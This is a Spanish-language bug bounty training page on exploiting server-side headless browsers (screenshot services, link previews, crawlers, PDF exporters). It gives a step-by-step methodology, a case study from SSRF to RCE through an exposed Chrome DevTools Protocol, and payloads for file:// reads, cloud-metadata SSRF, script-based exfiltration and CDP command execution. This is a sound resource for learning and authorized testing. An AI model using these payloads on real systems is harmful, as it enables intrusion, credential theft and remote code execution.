Headless Browsers

Explotar bots, crawlers y screenshots server-side

Respuesta rápida

¿Qué es Headless Browsers?

Las aplicaciones que usan headless browsers (Chrome, Firefox) para screenshots, crawling, o previews tienen un modelo de seguridad diferente al navegador normal: cache no particionado, file:// accesible, DevTools Protocol expuesto.

Severidad

Crítico

Frecuencia

Menos común

Payloads

7

Pasos

5

Severidad

Crítico

Frecuencia

Menos común

Payloads

7

Los headless browsers server-side no tienen las protecciones de un browser normal: no bloquean popups, no particionan cache entre orígenes, y pueden tener el Chrome DevTools Protocol (CDP) expuesto en el puerto 9222. Si puedes controlar la URL que visitan, tienes SSRF con capacidades de browser completo.

SSRF con capacidades de browserLectura de archivos (file://)RCE vía Chrome DevTools ProtocolCache poisoning cross-originPort scanning interno

Dónde buscar

Screenshot services

Funcionalidades de 'captura de pantalla' de una URL. El bot visita la URL y genera una imagen.

Link preview

Previews automáticos cuando pegas un link (Slack, Discord, etc.). El bot fetch la URL.

Web crawlers

Spiders que indexan contenido. Si controlas la URL, controlas qué visitan.

PDF exporters

Puppeteer/Chrome como motor de PDF (mismo contexto que HTML to PDF pero con más capacidades).

Metodología

1

Identificar headless browser

Envía una URL tuya y analiza el User-Agent del request entrante. HeadlessChrome, PhantomJS, etc.

2

Probar file://

Envía file:///etc/passwd como URL. Si el screenshot lo muestra → LFI completo.

3

Probar SSRF

http://127.0.0.1:9222 (CDP), http://127.0.0.1:8080, http://169.254.169.254

4

Probar JavaScript execution

Envía una página con JS que haga fetch a servicios internos y exfiltre vía <img src>.

5

Buscar CDP expuesto

Si el puerto 9222 está abierto, puedes conectarte al DevTools Protocol → RCE.

Caso real

Headless Chrome screenshot → CDP expuesto → RCE

$5,000+
1

Screenshot service

La app permite capturar screenshots de URLs arbitrarias usando Headless Chrome.

2

Port scan vía timing

Enviar URLs a http://127.0.0.1:PORT. Puertos abiertos responden más rápido que cerrados.

3

CDP en puerto 9222

El Chrome DevTools Protocol está escuchando en localhost:9222 sin autenticación.

4

RCE vía CDP

Conectarse al CDP permite ejecutar JavaScript arbitrario → Runtime.evaluate → child_process.exec.

Lección: Los headless browsers deben estar en sandboxes aislados. El CDP nunca debe estar expuesto. Si controlas la URL que visita el bot, tienes SSRF con capacidades de browser completo.

Payloads

file:// LFI

file:///etc/passwd

SSRF localhost

http://127.0.0.1:9222/json (Chrome DevTools)

JavaScript exfil

<script>fetch("http://169.254.169.254/latest/meta-data/").then(r=>r.text()).then(d=>document.title=d)</script>

Payloads avanzados(requiere cuenta)

CDP RCE

ws://127.0.0.1:9222/devtools/page/xxx → Runtime.evaluate({expression: 'require("child_process").execSync("id").toString()'})

Firefox file URI bypass

security.fileuri.strict_origin_policy=false → cross-origin file read

Cache poisoning

Headless browsers no particionan cache → poison response para cross-origin read

XXE via XSLT (CVE-2023-4357)

Chrome ≤115: XSLT parser lee archivos via XML external entities

Contenido exclusivo

Crea tu cuenta gratis para acceder a payloads avanzados, scripts y técnicas de bypass

Crear cuenta gratis

Herramientas

Chrome CDP client

Conectarse al Chrome DevTools Protocol para ejecutar JS remoto.

wscat -c ws://target:9222/devtools/page/ID

Nmap port scan

Verificar si el puerto CDP está expuesto.

nmap -p 9222 localhost

Tips

User-Agent revela el motor

HeadlessChrome, PhantomJS, wkhtmltopdf — cada uno tiene vulnerabilidades diferentes.

file:// = full read

Si el bot acepta file:// URLs, puedes leer cualquier archivo del servidor.

CDP = game over

Chrome DevTools Protocol sin auth permite ejecutar código arbitrario en el servidor.

650

hunters entrenando

50

labs de hackeos reales

380

completaciones

$12.000

pagados por estos bugs

40 flags capturadas esta semana·Hackeos reales de HackerOne · YesWeHack · Bugcrowd·Sin permanencia·Academy gratis
Gratis · sin cuenta

La checklist que repaso en cada objetivo nuevo

47 comprobaciones ordenadas por coste: primero lo que te puede meter en un lío, luego lo barato, y al final lo caro — que es donde están los bounties grandes. Te la mando al correo ahora mismo.

Te das de baja en un clic, desde cualquier correo.

Practica Headless Browsers con labs reales

Aplica estas técnicas en entornos seguros basados en reportes reales de bug bounty.

La comunidad

Esto no es una plataforma con usuarios.Es gente rompiendo lo mismo que tú.

Dentro se pregunta, se enseña lo que se ha encontrado y se resuelve en grupo lo que atascaría a cualquiera solo. Se entra gratis: sin cuenta, sin plan y sin dejar el correo.

Entrar a la comunidad de BBLABS en Discord
Entrar al Discord

Es gratis y abierto. No hace falta tener cuenta en BBLABS para entrar.